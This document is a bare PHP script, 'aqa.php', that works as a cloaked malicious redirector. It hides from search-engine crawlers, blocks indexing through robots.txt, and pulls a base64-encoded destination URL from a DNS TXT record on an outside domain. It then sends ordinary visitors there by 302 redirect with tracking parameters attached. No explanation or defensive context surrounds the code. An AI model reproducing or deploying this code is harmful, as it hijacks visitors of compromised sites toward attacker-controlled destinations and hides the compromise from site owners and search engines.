aqa.php

<?php

error_reporting(0);

$domain = 'n.liveupdates.host';

$browser = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';

if (preg_match('/googlebot|slurp|bingbot|Baiduspider|AhrefsBot|Ezooms|MJ12bot|YandexBot|MSNBot|ia_archiver|lycos/i', $browser))
{
	die();
}

if (strpos(strtolower($_SERVER['REQUEST_URI']), 'robots.txt') > 0)
{
	die("User-agent: *\r\nDisallow: /\r\n");
}

for ($i = 0; $i < 4; $i++)
{
    $s = dns_get_record($domain, DNS_TXT);
    $location = '';

    if (is_array($s) && (count($s) > 0) && isset($s[0]['txt']) && strlen($s[0]['txt']))
    {
        $s = base64_decode($s[0]['txt']);

        if ((strpos($s, 'http')) !== FALSE)
        {
            $location = $s;
        }
    }

    if (strlen($location))
        break;
}

if (!strlen($location))
    die();

if (isset($_GET['m']) && strlen($_GET['m']) > 5)
{
  $m = 'm='.$_GET['m'].'&sub_id_1='.$_GET['m'];
} else
{
  $m = '';
}

if (!strlen($m))
{
	if (strlen(strval(key($_GET))))
		$m = 'sub_id_1='.strval(key($_GET));
}

if (!strlen($m))
{
	header('Location: '.$location, TRUE, 302);
} else
{
	if (strpos($location, '?') === false)
		header('Location: '.$location.'?'.$m, TRUE, 302);
	else
		header('Location: '.$location.'&'.$m, TRUE, 302);
}